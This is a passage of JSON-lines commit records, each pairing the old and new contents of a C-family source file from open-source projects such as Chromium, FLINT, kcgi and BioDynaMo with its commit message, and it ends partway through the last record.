{"commit":"1cddcc0c8256bb6a37365d82329638b45bff2381","old_file":"ui\/aura\/event_filter.h","new_file":"ui\/aura\/event_filter.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_AURA_EVENT_FILTER_H_\n#define UI_AURA_EVENT_FILTER_H_\n#pragma once\n\n#include \"base\/logging.h\"\n#include \"ui\/gfx\/point.h\"\n\nnamespace aura {\n\nclass Window;\nclass MouseEvent;\n\n\/\/ An object that filters events sent to an owner window, potentially performing\n\/\/ adjustments to the window's position, size and z-index.\nclass EventFilter {\n public:\n  explicit EventFilter(Window* owner);\n  virtual ~EventFilter();\n\n  \/\/ Try to handle |event| (before the owner's delegate gets a chance to).\n  \/\/ Returns true if the event was handled by the WindowManager and should not\n  \/\/ be forwarded to the owner's delegate.\n  virtual bool OnMouseEvent(Window* target, MouseEvent* event);\n\n protected:\n  Window* owner() { return owner_; }\n\n private:\n  Window* owner_;\n\n  DISALLOW_COPY_AND_ASSIGN(EventFilter);\n};\n\n}  \/\/ namespace aura\n\n#endif  \/\/ UI_AURA_EVENT_FILTER_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_AURA_EVENT_FILTER_H_\n#define UI_AURA_EVENT_FILTER_H_\n#pragma once\n\n#include \"base\/basictypes.h\"\n\nnamespace aura {\n\nclass Window;\nclass MouseEvent;\n\n\/\/ An object that filters events sent to an owner window, potentially performing\n\/\/ adjustments to the window's position, size and z-index.\nclass EventFilter {\n public:\n  explicit EventFilter(Window* owner);\n  virtual ~EventFilter();\n\n  \/\/ Try to handle |event| (before the owner's delegate gets a chance to).\n  \/\/ Returns true if the event was handled by the WindowManager and should not\n  \/\/ be forwarded to the owner's delegate.\n  virtual bool OnMouseEvent(Window* target, MouseEvent* event);\n\n protected:\n  Window* owner() { return owner_; }\n\n private:\n  Window* owner_;\n\n  DISALLOW_COPY_AND_ASSIGN(EventFilter);\n};\n\n}  \/\/ namespace aura\n\n#endif  \/\/ UI_AURA_EVENT_FILTER_H_\n","subject":"Include basictypes.h for DISALLOW macro.","message":"aura: Include basictypes.h for DISALLOW macro.\n\nR=ben@chromium.org\n\nReview URL: http:\/\/codereview.chromium.org\/7976010\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@101986 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"gavinp\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium"}
{"commit":"7c2c9830d91e8e04788c52e06d1398c9c01e3c1f","old_file":"nelem.h","new_file":"nelem.h","old_contents":"\n\/\/ Copyright 2015  Malcolm Inglis <http:\/\/minglis.id.au>\n\/\/\n\/\/ This file is part of Libmacro.\n\/\/\n\/\/ Libmacro is free software: you can redistribute it and\/or modify it under\n\/\/ the terms of the GNU Affero General Public License as published by the\n\/\/ Free Software Foundation, either version 3 of the License, or (at your\n\/\/ option) any later version.\n\/\/\n\/\/ Libmacro is distributed in the hope that it will be useful, but WITHOUT\n\/\/ ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n\/\/ FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public\n\/\/ License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public License\n\/\/ along with Libmacro. If not, see <https:\/\/gnu.org\/licenses\/>.\n\n\n#ifndef LIBMACRO_NELEM_H\n#define LIBMACRO_NELEM_H\n\n\n\/\/ Gives the number of elements in the array `XS`. Be very careful that\n\/\/ you only call this with an *array* variable, and not a pointer-to-array.\n\/\/ Note that this evaluates to a constant expression.\n#define NELEM( XS ) \\\n    ( ( sizeof ( XS ) ) \/ ( sizeof ( ( XS )[ 0 ] ) ) )\n\n\n#endif\n\n","new_contents":"\n\/\/ Copyright 2015  Malcolm Inglis <http:\/\/minglis.id.au>\n\/\/\n\/\/ This file is part of Libmacro.\n\/\/\n\/\/ Libmacro is free software: you can redistribute it and\/or modify it under\n\/\/ the terms of the GNU Affero General Public License as published by the\n\/\/ Free Software Foundation, either version 3 of the License, or (at your\n\/\/ option) any later version.\n\/\/\n\/\/ Libmacro is distributed in the hope that it will be useful, but WITHOUT\n\/\/ ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n\/\/ FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public\n\/\/ License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public License\n\/\/ along with Libmacro. If not, see <https:\/\/gnu.org\/licenses\/>.\n\n\n#ifndef LIBMACRO_NELEM_H\n#define LIBMACRO_NELEM_H\n\n\n\/\/ Gives the number of elements in the array `XS`. Be very careful that\n\/\/ you only call this with an *array* variable, and not a pointer-to-array.\n\/\/ Note that this evaluates to a constant expression.\n#define NELEM( ... ) \\\n    ( ( sizeof ( __VA_ARGS__ ) ) \/ ( sizeof ( ( __VA_ARGS__ )[ 0 ] ) ) )\n\n\n#endif\n\n","subject":"Change NELEM to take VA_ARGS to handle commas","message":"Change NELEM to take VA_ARGS to handle commas\n","lang":"C","license":"agpl-3.0","repos":"mcinglis\/libmacro,mcinglis\/libmacro,mcinglis\/libmacro"}
{"commit":"a9e08b0fb3f703502db20324d07f634c9cecab88","old_file":"NSBezierPath_BDSKExtensions.h","new_file":"NSBezierPath_BDSKExtensions.h","old_contents":"","new_contents":"\/\/\n\/\/  NSBezierPath_BDSKExtensions.h\n\/\/  Bibdesk\n\/\/\n\/\/  Created by Adam Maxwell on 10\/22\/05.\n\/*\n This software is Copyright (c) 2005,2006,2007\n Adam Maxwell. All rights reserved.\n \n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions\n are met:\n \n - Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n \n - Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the\n distribution.\n \n - Neither the name of Adam Maxwell nor the names of any\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n \n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n#import <Cocoa\/Cocoa.h>\n\n\n@interface NSBezierPath (BDSKExtensions)\n\n+ (void)fillRoundRectInRect:(NSRect)rect radius:(float)radius;\n+ (void)strokeRoundRectInRect:(NSRect)rect radius:(float)radius;\n+ (NSBezierPath*)bezierPathWithRoundRectInRect:(NSRect)rect radius:(float)radius;\n\n+ (void)drawHighlightInRect:(NSRect)rect radius:(float)radius lineWidth:(float)lineWidth color:(NSColor *)color;\n\n+ (void)fillHorizontalOvalAroundRect:(NSRect)rect;\n+ (void)strokeHorizontalOvalAroundRect:(NSRect)rect;\n+ (NSBezierPath*)bezierPathWithHorizontalOvalAroundRect:(NSRect)rect;\n\n+ (void)fillStarInRect:(NSRect)rect;\n+ (void)fillInvertedStarInRect:(NSRect)rect;\n+ (NSBezierPath *)bezierPathWithStarInRect:(NSRect)rect;\n+ (NSBezierPath *)bezierPathWithInvertedStarInRect:(NSRect)rect;\n\n@end\n","subject":"Copy bezierpath category from bibdesk to skim.","message":"Copy bezierpath category from bibdesk to skim.\n","lang":"C","license":"bsd-3-clause","repos":"JackieXie168\/skim,JackieXie168\/skim,JackieXie168\/skim,JackieXie168\/skim,JackieXie168\/skim"}
{"commit":"7575a6a3eec8a72cb36276f11924ad7a77185c43","old_file":"modules\/ti.UI\/url\/url.h","new_file":"modules\/ti.UI\/url\/url.h","old_contents":"\/**\n * Appcelerator Titanium - licensed under the Apache Public License 2\n * see LICENSE in the root folder for details on the license.\n * Copyright (c) 2008 Appcelerator, Inc. All Rights Reserved.\n *\/\n\n#ifndef TITANIUM_URL_H_\n#define TITANIUM_URL_H_\nnamespace ti\n{\n\tvoid NormalizeURLCallback(const char* url, char* buffer, int bufferLength);\n\tvoid URLToFileURLCallback(const char* url, char* buffer, int bufferLength);\n\tint CanPreprocessURLCallback(const char* url);\n\tchar* PreprocessURLCallback(const char* url, KeyValuePair* headers, char** mimeType);\n}\n#endif\n","new_contents":"\/**\n * Appcelerator Titanium - licensed under the Apache Public License 2\n * see LICENSE in the root folder for details on the license.\n * Copyright (c) 2008 Appcelerator, Inc. All Rights Reserved.\n *\/\n\n#ifndef TITANIUM_URL_H_\n#define TITANIUM_URL_H_\n\n#ifndef KEYVALUESTRUCT\ntypedef struct {\n    char* key;\n    char* value;\n} KeyValuePair;\n#define KEYVALUESTRUCT 1\n#endif\n\nnamespace ti\n{\n\tvoid NormalizeURLCallback(const char* url, char* buffer, int bufferLength);\n\tvoid URLToFileURLCallback(const char* url, char* buffer, int bufferLength);\n\tint CanPreprocessURLCallback(const char* url);\n\tchar* PreprocessURLCallback(const char* url, KeyValuePair* headers, char** mimeType);\n}\n#endif\n","subject":"Include KeyValuePair definition, if needed.","message":"Include KeyValuePair definition, if needed.\n","lang":"C","license":"apache-2.0","repos":"wyrover\/titanium_desktop,appcelerator\/titanium_desktop,appcelerator\/titanium_desktop,jvkops\/titanium_desktop,jvkops\/titanium_desktop,wyrover\/titanium_desktop,wyrover\/titanium_desktop,jvkops\/titanium_desktop,wyrover\/titanium_desktop,wyrover\/titanium_desktop,appcelerator\/titanium_desktop,appcelerator\/titanium_desktop,jvkops\/titanium_desktop,wyrover\/titanium_desktop,jvkops\/titanium_desktop,jvkops\/titanium_desktop,appcelerator\/titanium_desktop"}
{"commit":"00ce45e79a3abaf31a3861001b06107f461dcc90","old_file":"src\/StdAfx.h","new_file":"src\/StdAfx.h","old_contents":"\n\/* StdAfx.h\n *\n * Copyright (C) 2013 Michael Imamura\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n *\/\n\n#pragma once\n\n#ifdef _WIN32\n#\tdefine VC_EXTRALEAN\n#\tdefine WIN32_LEAN_AND_MEAN\n#\tinclude <windows.h>\n#endif\n\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n#include <list>\n#include <map>\n#include <memory>\n#include <string>\n#include <utility>\n\n#include <SDL2\/SDL.h>\n#include <SDL2\/SDL_image.h>\n#include <SDL2\/SDL_ttf.h>\n\n","new_contents":"\n\/* StdAfx.h\n *\n * Copyright (C) 2013 Michael Imamura\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n *\/\n\n#pragma once\n\n#ifdef _WIN32\n#\tdefine VC_EXTRALEAN\n#\tdefine WIN32_LEAN_AND_MEAN\n#\tinclude <windows.h>\n#endif\n\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n#include <list>\n#include <map>\n#include <memory>\n#include <sstream>\n#include <string>\n#include <vector>\n#include <utility>\n\n#include <SDL2\/SDL.h>\n#include <SDL2\/SDL_image.h>\n#include <SDL2\/SDL_ttf.h>\n\n","subject":"Add more common includes to PCH.","message":"Add more common includes to PCH.\n","lang":"C","license":"apache-2.0","repos":"ZoogieZork\/Adventures-in-SDL2,ZoogieZork\/Adventures-in-SDL2"}
{"commit":"95a81f116adba5a2b97635b3e6ce0772411adee3","old_file":"regress\/test-post.c","new_file":"regress\/test-post.c","old_contents":"","new_contents":"\/*\t$Id$ *\/\n\/*\n * Copyright (c) 2016 Kristaps Dzonsons <kristaps@bsd.lv>\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n#ifdef HAVE_CONFIG_H\n#include \"..\/config.h\"\n#endif\n\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include <curl\/curl.h>\n\n#include \"..\/kcgi.h\"\n#include \"regress.h\"\n\nstatic int\nparent(CURL *curl)\n{\n\tconst char\t*data = \"foo=bar\";\n\n\tcurl_easy_setopt(curl, CURLOPT_URL, \n\t\t\"http:\/\/localhost:17123\/\");\n\tcurl_easy_setopt(curl, CURLOPT_POSTFIELDS, data);\n\treturn(CURLE_OK == curl_easy_perform(curl));\n}\n\nstatic int\nchild(void)\n{\n\tstruct kreq\t r;\n\tconst char \t*page = \"index\";\n\n\tif (KCGI_OK != khttp_parse(&r, NULL, 0, &page, 1, 0))\n\t\treturn(0);\n\tkhttp_head(&r, kresps[KRESP_STATUS], \n\t\t\"%s\", khttps[KHTTP_200]);\n\tkhttp_head(&r, kresps[KRESP_CONTENT_TYPE], \n\t\t\"%s\", kmimetypes[KMIME_TEXT_HTML]);\n\tkhttp_body(&r);\n\tkhttp_free(&r);\n\treturn(1);\n}\n\nint\nmain(int argc, char *argv[])\n{\n\n\treturn(regress_cgi(parent, child) ? EXIT_SUCCESS : EXIT_FAILURE);\n}\n","subject":"Add simple post that triggers the earlier breakage of kcgi(3) with a blocking socket.","message":"Add simple post that triggers the earlier breakage of kcgi(3) with a blocking\nsocket.\n","lang":"C","license":"isc","repos":"kristapsdz\/kcgi,kristapsdz\/kcgi"}
{"commit":"2ec3a7c7af52d69bebbb149af9e6f09c0537c87f","old_file":"src\/common.h","new_file":"src\/common.h","old_contents":"\/*\n * This file is part of hat-trie.\n *\n * Copyright (c) 2011 by Daniel C. Jones <dcjones@cs.washington.edu>\n *\n *\n * Common typedefs, etc.\n *\n *\/\n\n\n#ifndef HATTRIE_COMMON_H\n#define HATTRIE_COMMON_H\n\ntypedef unsigned long value_t;\n\n#endif\n\n\n","new_contents":"\/*\n * This file is part of hat-trie.\n *\n * Copyright (c) 2011 by Daniel C. Jones <dcjones@cs.washington.edu>\n *\n *\n * Common typedefs, etc.\n *\n *\/\n\n\n#ifndef HATTRIE_COMMON_H\n#define HATTRIE_COMMON_H\n\n#include \"pstdint.h\"\n\ntypedef uintptr_t value_t;\n\n#endif\n\n\n","subject":"Switch `value_t` to be `uintptr_t`.","message":"Switch `value_t` to be `uintptr_t`.\n\nThis allows `value_t` to be 64-bit even on 64-bit architectures where\n`unsigned long` is still 32-bit.\n","lang":"C","license":"mit","repos":"mheilman\/hat-trie,dcjones\/hat-trie,mheilman\/hat-trie"}
{"commit":"ce45e79987caa558f85e575323b70a36cad9e6bb","old_file":"fq_default_poly_factor\/test\/t-init.c","new_file":"fq_default_poly_factor\/test\/t-init.c","old_contents":"","new_contents":"\/*\n    Copyright (C) 2021 William Hart\n\n    This file is part of FLINT.\n\n    FLINT is free software: you can redistribute it and\/or modify it under\n    the terms of the GNU Lesser General Public License (LGPL) as published\n    by the Free Software Foundation; either version 2.1 of the License, or\n    (at your option) any later version.  See <https:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"fq_default_poly_factor.h\"\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <gmp.h>\n#include \"flint.h\"\n#include \"nmod_poly.h\"\n#include \"ulong_extras.h\"\n\nint\nmain(void)\n{\n    int i;\n    FLINT_TEST_INIT(state);\n\n\n    flint_printf(\"init\/clear....\");\n    fflush(stdout);\n\n    for (i = 0; i < 100 * flint_test_multiplier(); i++)\n    {\n        fq_default_ctx_t ctx;\n        fq_default_poly_factor_t fq_poly_fac;\n        fmpz_t p;\n\n        fmpz_init(p);\n        \n        fmpz_set_ui(p, 5);\n\n        fq_default_ctx_init(ctx, p, 5, \"x\");\n\n        fq_default_poly_factor_init(fq_poly_fac, ctx);\n\n        fq_default_poly_factor_clear(fq_poly_fac, ctx);\n\n        fq_default_ctx_clear(ctx);\n\n        fq_default_ctx_init(ctx, p, 16, \"x\");\n\n        fq_default_poly_factor_init(fq_poly_fac, ctx);\n\n        fq_default_poly_factor_clear(fq_poly_fac, ctx);\n\n        fq_default_ctx_clear(ctx);\n\n        fmpz_set_str(p, \"73786976294838206473\", 10);\n\n        fq_default_ctx_init(ctx, p, 1, \"x\");\n\n        fq_default_poly_factor_init(fq_poly_fac, ctx);\n\n        fq_default_poly_factor_clear(fq_poly_fac, ctx);\n\n        fq_default_ctx_clear(ctx);\n\n        fmpz_clear(p);\n\n    }\n    \n    FLINT_TEST_CLEANUP(state);\n\n    flint_printf(\"PASS\\n\");\n        return 0;\n}\n","subject":"Add rudimentary init\/clear test for fq_default_poly_factor.","message":"Add rudimentary init\/clear test for fq_default_poly_factor.\n","lang":"C","license":"lgpl-2.1","repos":"wbhart\/flint2,fredrik-johansson\/flint2,fredrik-johansson\/flint2,fredrik-johansson\/flint2,wbhart\/flint2,wbhart\/flint2"}
{"commit":"142c224f842b992a5cdbf3e9e3847dfadd799af8","old_file":"example\/ex-array05.c","new_file":"example\/ex-array05.c","old_contents":"","new_contents":"#include \"m-array.h\"\n#include \"m-string.h\"\n\n\/* This example show how to use complex structure with array \n   embedding another library *\/\n\n\/* This is a trivial library *\/\ntypedef struct lib_ext_struct {\n  int id;\n  \/\/ Other data\n} lib_ext_struct;\n\nstatic lib_ext_struct *lib_ext_struct_Duplicate(const lib_ext_struct *obj)\n{\n  lib_ext_struct *p = malloc(sizeof(lib_ext_struct));\n  if (!p) abort();\n  p->id = obj->id;\n  return p;\n}\n\nstatic void lib_ext_struct_Delete(lib_ext_struct *obj)\n{\n  free(obj);\n}\n\n\/* This is the complex structure *\/\ntypedef struct  {\n  uint32_t id;\n  string_t type;\n  lib_ext_struct* properties;\n} data_node;\n\nstatic void data_node_init(data_node *obj)\n{\n  obj->id = 0;\n  string_init(obj->type);\n  obj->properties = NULL;\n}\n\nstatic void data_node_init_set(data_node *obj, const data_node *src)\n{\n  obj->id = src->id;\n  string_init_set(obj->type, src->type);\n  if (src->properties)\n    obj->properties = lib_ext_struct_Duplicate(src->properties);\n  else\n    obj->properties = NULL;\n}\n\nstatic void data_node_set(data_node *obj, const data_node *src)\n{\n  obj->id = src->id;\n  string_set(obj->type, src->type);\n  if (obj->properties)\n    lib_ext_struct_Delete(obj->properties);    \n  if (src->properties)\n    obj->properties = lib_ext_struct_Duplicate(src->properties);\n  else\n    obj->properties = NULL;\n}\n\nstatic void data_node_clear(data_node *obj)\n{\n  string_clear(obj->type);\n  if (obj->properties)\n    lib_ext_struct_Delete(obj->properties);\n}\n\n\nARRAY_DEF(array_data_node, data_node, (INIT(API_2(data_node_init)),SET(API_6(data_node_set)),INIT_SET(API_6(data_node_init_set)),CLEAR(API_2(data_node_clear))))\n\narray_data_node_t global_array;\n\nint main(void)\n{\n  array_data_node_init(global_array);\n  array_data_node_clear(global_array);\n}\n","subject":"Add another example on complex structure usage","message":"Add another example on complex structure usage\n","lang":"C","license":"bsd-2-clause","repos":"P-p-H-d\/mlib,P-p-H-d\/mlib"}
{"commit":"48ba0fa8d8aad77e8f03230b7d504b1feb4c940c","old_file":"alura\/c\/forca.c","new_file":"alura\/c\/forca.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main() {\n  int notas[10];\n\n  notas[0] = 10;\n  notas[2] = 9;\n  notas[3] = 8;\n  notas[9] = 4;\n\n  printf(\"%d %d %d\\n\", notas[0], notas[2], notas[9]);\n}","subject":"Update files, Alura, Introdução a C - Parte 2, Aula 2.1","message":"Update files, Alura, Introdução a C - Parte 2, Aula 2.1\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"e3a06f573bba62836623a5bc6aab7b6df4c235e5","old_file":"common\/timing.h","new_file":"common\/timing.h","old_contents":"#pragma once\n\n#include <time.h>\n#include <sys\/time.h>\n\nstatic inline unsigned long long current_time_ns() {\n#ifdef __MACH__\n    clock_serv_t cclock;\n    mach_timespec_t mts;\n    host_get_clock_service(mach_host_self(), CALENDAR_CLOCK, &cclock);\n    clock_get_time(cclock, &mts);\n    mach_port_deallocate(mach_task_self(), cclock);\n    unsigned long long s = 1000000000ULL * (unsigned long long)mts.tv_sec;\n    return (unsigned long long)mts.tv_nsec + s;\n#else\n    struct timespec t ={0,0};\n    clock_gettime(CLOCK_MONOTONIC, &t);\n    unsigned long long s = 1000000000ULL * (unsigned long long)t.tv_sec;\n    return (((unsigned long long)t.tv_nsec)) + s;\n#endif\n}\n","new_contents":"#pragma once\n\n#include <time.h>\n#include <sys\/time.h>\n\n#ifdef __MACH__\n#include <mach\/clock.h>\n#include <mach\/mach.h>\n#endif\n\nstatic inline unsigned long long current_time_ns() {\n#ifdef __MACH__\n    clock_serv_t cclock;\n    mach_timespec_t mts;\n    host_get_clock_service(mach_host_self(), CALENDAR_CLOCK, &cclock);\n    clock_get_time(cclock, &mts);\n    mach_port_deallocate(mach_task_self(), cclock);\n    unsigned long long s = 1000000000ULL * (unsigned long long)mts.tv_sec;\n    return (unsigned long long)mts.tv_nsec + s;\n#else\n    struct timespec t ={0,0};\n    clock_gettime(CLOCK_MONOTONIC, &t);\n    unsigned long long s = 1000000000ULL * (unsigned long long)t.tv_sec;\n    return (((unsigned long long)t.tv_nsec)) + s;\n#endif\n}\n","subject":"Fix compilation errors on Mac OS","message":"Fix compilation errors on Mac OS\n","lang":"C","license":"bsd-3-clause","repos":"habanero-rice\/tasking-micro-benchmark-suite,habanero-rice\/tasking-micro-benchmark-suite,habanero-rice\/tasking-micro-benchmark-suite"}
{"commit":"b3ac11e59b52a1fe715defc31664de840124c8b9","old_file":"src\/io\/terminal_io.h","new_file":"src\/io\/terminal_io.h","old_contents":"#ifndef TERMINALIO_H\n#define TERMINALIO_H\n\ntypedef struct io io_t;\ntypedef struct chip8 chip8_t;\n\nio_t * terminal_io_new(void);\nvoid terminal_io_render(io_t *, chip8_t *);\nvoid terminal_io_listen(io_t *, chip8_t *);\n\n#endif\n","new_contents":"#ifndef TERMINAL_IO_H\n#define TERMINAL_IO_H\n\ntypedef struct io io_t;\ntypedef struct chip8 chip8_t;\n\nio_t * terminal_io_new(void);\nvoid terminal_io_render(io_t *, chip8_t *);\nvoid terminal_io_listen(io_t *, chip8_t *);\n\n#endif\n","subject":"Use TERMINAL_IO_H as inclusion guard","message":"Use TERMINAL_IO_H as inclusion guard\n","lang":"C","license":"mit","repos":"gsamokovarov\/chip8.c,gsamokovarov\/chip8.c"}
{"commit":"0991b7ce2c05818328bfa2c63d84aa5a42f807a5","old_file":"src\/core\/util\/cpptoml.h","new_file":"src\/core\/util\/cpptoml.h","old_contents":"\/\/ -----------------------------------------------------------------------------\n\/\/\n\/\/ Copyright (C) The BioDynaMo Project.\n\/\/ All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/\n\/\/ See the LICENSE file distributed with this work for details.\n\/\/ See the NOTICE file distributed with this work for additional information\n\/\/ regarding copyright ownership.\n\/\/\n\/\/ -----------------------------------------------------------------------------\n\n#ifndef CORE_UTIL_CPPTOML_H_\n#define CORE_UTIL_CPPTOML_H_\n\n#define BDM_ASSIGN_CONFIG_VALUE(variable, config_key)                        \\\n  {                                                                          \\\n    if (config->contains_qualified(config_key)) {                            \\\n      auto value = config->get_qualified_as<decltype(variable)>(config_key); \\\n      if (value) {                                                           \\\n        variable = *value;                                                   \\\n      }                                                                      \\\n    }                                                                        \\\n  }\n\n#endif  \/\/ CORE_UTIL_CPPTOML_H_\n","new_contents":"\/\/ -----------------------------------------------------------------------------\n\/\/\n\/\/ Copyright (C) The BioDynaMo Project.\n\/\/ All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/\n\/\/ See the LICENSE file distributed with this work for details.\n\/\/ See the NOTICE file distributed with this work for additional information\n\/\/ regarding copyright ownership.\n\/\/\n\/\/ -----------------------------------------------------------------------------\n\n#ifndef CORE_UTIL_CPPTOML_H_\n#define CORE_UTIL_CPPTOML_H_\n\n#define BDM_ASSIGN_CONFIG_VALUE(variable, config_key)                        \\\n  {                                                                          \\\n    if (config->contains_qualified(config_key)) {                            \\\n      auto value = config->get_qualified_as<decltype(variable)>(config_key); \\\n      if (value) {                                                           \\\n        variable = *value;                                                   \\\n      }                                                                      \\\n    }                                                                        \\\n  }\n\n#define BDM_ASSIGN_CONFIG_DOUBLE3_VALUE(variable, config_key)          \\\n  {                                                                    \\\n    if (config->contains_qualified(config_key)) {                      \\\n      auto value = config->get_array_of<double>(config_key);           \\\n      if (value) {                                                     \\\n        auto vector = *value;                                          \\\n        if (vector.size() == variable.size()) {                        \\\n          for (uint64_t i = 0; i < vector.size(); i++) {               \\\n            variable[i] = vector[i];                                   \\\n          }                                                            \\\n        } else {                                                       \\\n          Log::Fatal(\"cpptoml parameter parsing\",                      \\\n                     \"An error occured during parameter parsing of (\", \\\n                     config_key, \". Array dimensions do not match\");   \\\n        }                                                              \\\n      }                                                                \\\n    }                                                                  \\\n  }\n\n#endif  \/\/ CORE_UTIL_CPPTOML_H_\n","subject":"Add macro to assign Double3 values from toml files","message":"Add macro to assign Double3 values from toml files\n","lang":"C","license":"apache-2.0","repos":"BioDynaMo\/biodynamo,BioDynaMo\/biodynamo,BioDynaMo\/biodynamo,BioDynaMo\/biodynamo"}
{"commit":"c6ca1e4e1a51dd96759930447ffdb8ee93070893","old_file":"src\/whitgl\/logging.c","new_file":"src\/whitgl\/logging.c","old_contents":"#include <stdarg.h>\n#include <stdio.h>\n\n#include <whitgl\/logging.h>\n\n#define LOG_BUFFER_MAX (256)\nchar _buffer[LOG_BUFFER_MAX];\n\nvoid whitgl_logit(const char *file, const int line, const char *str, ...)\n{\n\tva_list args;\n\tva_start(args, str);\n\tvsnprintf(_buffer, LOG_BUFFER_MAX, str, args);\n\tprintf(\"%24s:%03d  %s\\n\", file, line, _buffer);\n}\n\nvoid whitgl_panic(const char *file, const int line, const char *str, ...)\n{\n\tva_list args;\n\tva_start(args, str);\n\tvsnprintf(_buffer, LOG_BUFFER_MAX, str, args);\n\tprintf(\"PANIC %24s:%03d  %s\\n\", file, line, _buffer);\n\tprintf(\"PANIC %f\", *(double*)0); \/\/ do something impossible to crash\n}","new_contents":"#include <stdarg.h>\n#include <stdio.h>\n\n#include <whitgl\/logging.h>\n\n#define LOG_BUFFER_MAX (256)\nchar _buffer[LOG_BUFFER_MAX];\n\nvoid whitgl_logit(const char *file, const int line, const char *str, ...)\n{\n\tva_list args;\n\tva_start(args, str);\n\tvsnprintf(_buffer, LOG_BUFFER_MAX, str, 